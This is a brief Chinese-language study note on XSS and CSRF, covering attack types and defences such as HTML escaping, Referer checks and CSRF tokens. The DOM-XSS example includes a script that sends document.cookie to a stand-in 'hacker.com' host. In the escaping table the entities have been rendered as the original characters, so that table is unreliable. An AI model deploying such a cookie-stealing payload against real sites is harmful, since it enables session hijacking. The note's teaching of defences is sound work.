1. XSS
1.1 概念
跨站脚本攻击(Cross Site Scripting),缩写为XSS。指的是攻击者往Web页面中插入恶意Script代码,当用户浏览该页时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。类似于SQL注入。
1.2 分类
反射型:经过后端,不经过数据库。发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS随响应内容一起返回给浏览器,最后浏览器解析执行XSS代码。
存储型:经过后端,经过数据库。反射型XSS过程中后端服务器仅仅将XSS代码保存在内存中,并未持久化,因此每次触发反射性XSS都需要由用户输入相关的XSS代码;而存储型XSS则仅仅首次输入相关的XSS代码,保存在数据库中,当下次从数据库中获取该数据时会造成XSS。
DOM型:不经过后端,在前端浏览器触发。比如:
div.innerHTML = "<script>$.get('[http://hacker.com?cookie='](http://hacker.com?cookie=') + document.cookie)</script>"
1.3 预防
不使用innerHTML,改成innerText。
如果要使用innerHTML,采用HTML转义处理(对用户输入的数据进行HTML实体编码):
把
>
替换成>
把
<
替换成<
把
&
替换成&
把
"
替换成"
把
'
替换成'
- 字符过滤:过滤掉特殊的HTML标签,例如
<script>
、<iframe>
等;过滤掉Javascript事件标签,例如"onclick"
、"onfocus"
等。
2. CSRF
2.1 概念
跨站点请求伪造(Cross-Site Request Forgery),缩写为CSRF。攻击原理及过程如下:
用户打开浏览器,访问受信任网站A,输入用户名和密码请求登录A;
用户信息通过验证后,网站A产生cookie信息并返回给浏览器,此时用户登录A网站成功,可以正常发请求到网站A;
用户未退出A之前,在同一个浏览器打开一个tab页访问网站B;
网站B接到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
2.2 预防
- 验证 HTTP Referer 字段
HTTP Referer字段记录了HTTP请求的来源地址,后台可根据此字段控制请求来自于同一个网站,防止CSRF攻击。但是Referer是浏览器提供的,浏览器有漏洞时可能导致Referer被篡改。
- 在请求中添加token并验证
CSRF 攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。